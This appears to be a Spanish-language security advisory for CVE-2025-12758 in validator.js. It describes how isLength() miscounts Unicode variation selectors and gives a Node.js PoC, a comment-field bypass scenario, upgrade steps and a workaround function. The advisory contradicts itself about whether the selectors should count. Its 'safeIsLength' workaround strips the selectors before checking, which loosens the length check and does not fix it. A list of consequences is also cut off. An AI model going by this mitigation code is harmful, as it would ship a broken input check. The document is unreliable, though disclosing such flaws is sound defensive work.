
Divulgación detallada de CVE-2025-12758 con PoC que demuestra la omisión del selector de variación Unicode en isLength() de validator.js, incluido análisis de causa raíz, escenarios de explotación y pasos de mitigación.
ID de CVE: CVE-2025-12758
Puntuación CVSS: 8.7 (ALTA)
Severidad: ALTA
CWE: CWE-792 (Filtrado incompleto de una o más instancias de elementos especiales)
Publicado: 26 de noviembre de 2025
Divulgado: 19 de octubre de 2025
Esta vulnerabilidad afecta a las versiones < 13.15.22 del paquete npm validator. La función isLength() no tiene en cuenta los selectores de variación Unicode (\uFE0F, \uFE0E) al calcular la longitud de la cadena, lo que conduce a una validación de entrada incorrecta.
Una aplicación que utilice isLength() para la validación de entradas puede aceptar cadenas significativamente más largas de lo previsto, lo que podría provocar:
La función isLength() no filtra adecuadamente los selectores de variación Unicode al calcular la longitud de la cadena. Estos caracteres especiales (marcas de combinación) no deberían contribuir a la longitud visual de una cadena, pero sí se cuentan en la propiedad String.length de JavaScript.
npm install [email protected]
node poc.js
La POC demuestra la vulnerabilidad probando la función isLength():
const validator = require('validator');
// Cadena "test" normal - rechazada correctamente
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Cadena "test" normal - aceptada correctamente
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" con 4 selectores de variación - aceptada INCORRECTAMENTE
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
La tercera salida demuestra la vulnerabilidad: una cadena con una longitud real de 8 pasa una comprobación de validación para una longitud máxima de 4.
Una aplicación podría implementar la validación de comentarios de usuario:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Longitud real: 150 caracteres
// validator.isLength() devuelve incorrectamente: true ❌
// La base de datos acepta la carga maliciosa ⚠️
npm install [email protected]
La versión corregida maneja adecuadamente los selectores de variación Unicode excluyéndolos de los cálculos de longitud.
Si no puede actualizar de inmediato, implemente una validación de longitud personalizada:
function safeIsLength(str, options = {}) {
// Elimina los selectores de variación Unicode antes de la validación
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Compruebe si su aplicación es vulnerable:
npm audit --audit-level=high
Busque el paquete validator con una versión < 13.15.22.
Vulnerabilidad descubierta por: Karol Wrótniak
ISC